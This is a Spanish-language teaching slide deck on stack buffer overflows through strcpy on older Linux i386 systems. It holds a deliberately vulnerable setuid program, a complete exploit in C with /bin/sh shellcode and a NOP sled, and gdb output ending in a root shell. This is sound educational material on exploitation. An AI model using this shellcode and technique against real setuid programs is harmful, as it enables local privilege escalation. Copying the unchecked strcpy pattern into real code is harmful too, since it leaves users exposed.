190 likes | 333 Views
STACK BUFFERS OVERFLOWS. strcpy(); ANSI C (string.h). Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. David Reguera García. Índice. Presentación. Conocimientos previos. ¿Qué es un buffer overflow? ¿Qué es un stack buffer overflow?
E N D
STACK BUFFERS OVERFLOWS. strcpy(); ANSI C (string.h) Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. David Reguera García.
Índice • Presentación. • Conocimientos previos. • ¿Qué es un buffer overflow? • ¿Qué es un stack buffer overflow? • ¿Por qué en i386 y nucleos 2.4/2.6? • ¿Qué son los exploits? • ¿Qué es una shellcode? • Demostración de explotación • Solución. • Despedida
Conocimientos previos. • Base sólida de ASM, sintaxis AT&T. • Conocimientos ANSI C y programación. • Nivel usuario de linux. • Depurador y funciones. • Conocer GDB.
Demostración de una explotación. abo1.c #include <string.h> int main( int argc, char *argv[] ) { char buffer[50]; if ( argc > 1 ) strcpy( buffer, argv[1] ); return 0; }
Demostración de una explotación. • root@sys [/home/fr33project]# gcc –o abo1 abo1.c • root@sys [/home/fr33project]# chmod u+s abo1 • root@sys [/home/fr33project]# su fr33project • fr33project [/home/fr33project]# ./abo1 `perl –e ‘print “A” x 80’` • Segmentation Fault.
Demostración de una explotación. • La pila con strcpy: Bytes: 4 4 50 Nombre: %eip %esp buffer Entrada de datos.
Demostración de una explotación. • Como queremos la pila: Bytes: 4 4 50 Nombre: [%eip] [%esp] [buffer] Valor: [ SC ] [ Shellcode ]
Demostración de una explotación. • Como quedará la pila: Bytes: 4 4 72 Nombre: [%eip] [%esp] [buffer y alineamiento] Valor: [ SC ] [ Shellcode y NOPS ]
Demostración de una explotación. • Comprobando espacio hasta sobreescribir %eip: fr33project [/home/fr33project]# gdb abo1 (gdb) r `perl -e 'print "A" x 70'` Program exited normally. … (gdb) r `perl -e 'print "A" x 80'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
Demostración de una explotación. Creando el exploit: 1) Shellcode de 51 bytes. 2) 25 NOPS. 3) Dirección de SC 4 bytes.
Demostración de una explotación. • xpl.c #include <unistd.h> int main( void ) { char sc[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
Demostración de una explotación. • xpl.c int i; char buff[80]; for ( i = 0; i < 26; i++ ) buff[i] = '\x90'; for ( i = 26; i < 76; i++ ) buff[i] = sc[i-26];
Demostración de una explotación. • xpl.c buff[79] = 0xbf; // Dirección cualquiera. buff[78] = 0xff; buff[77] = 0xff; buff[76] = 0xff; execl( "./abo1", "abo1", buff, NULL ); return 0; }
Demostración de una explotación. • fr33project [/home/fr33project]# gcc –o xpl xpl.c • fr33project [/home/fr33project]# gdb xpl (gdb) r Starting program: /home/fr33project/esi/xpl Program received signal SIGSEGV, Segmentation fault. 0xffffffbf in ?? ()
Demostración de una explotación. • (gdb) x/30xw $esp-100 0xbffff80c: 0x080483c1 0xbffff820 0xbffffa24 0xb80009b8 0xbffff81c: 0xbffff8f4 0x90909090 0x90909090 0x90909090 0xbffff82c: 0x90909090 0x90909090 0x90909090 0x24eb9090 0xbffff83c: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56 0xbffff84c: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1 0xbffff85c: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e 0xbffff86c: 0xffffffbf 0x0177ff8e 0xbffff8e0 0xbf0009b8 0xbffff87c: 0x00000000 0xb7fd9038 (gdb)
Demostración de una explotación. • Adaptando el xpl.c: buff[79] = 0xbf; buff[78] = 0xff; buff[77] = 0xf8; buff[76] = 0x3c;
Demostración de una explotación. • fr33project [/home/fr33project]# gcc –o xpl xpl.c • fr33project [/home/fr33project]# id uid=1000(fr33project) gid=1000(fr33project). • fr33project [/home/fr33project]# ./xpl • sh-3.00# id uid=1000(fr33project) gid=1000(fr33project) euid=0(root)
Solución • Una buena metodología. • Usar strncpy.
Despedida. • Direcciones con información: • http://www.enye-sec.org • http://www.digitalsec.net \ http://www.digitalsec.es • http://www.7a69ezine.org • http://www.kernelpanik.org • http://www.phrack.org • Agradecimientos: • #blackhats 2003 ~ 2004, IRC-HISPANO.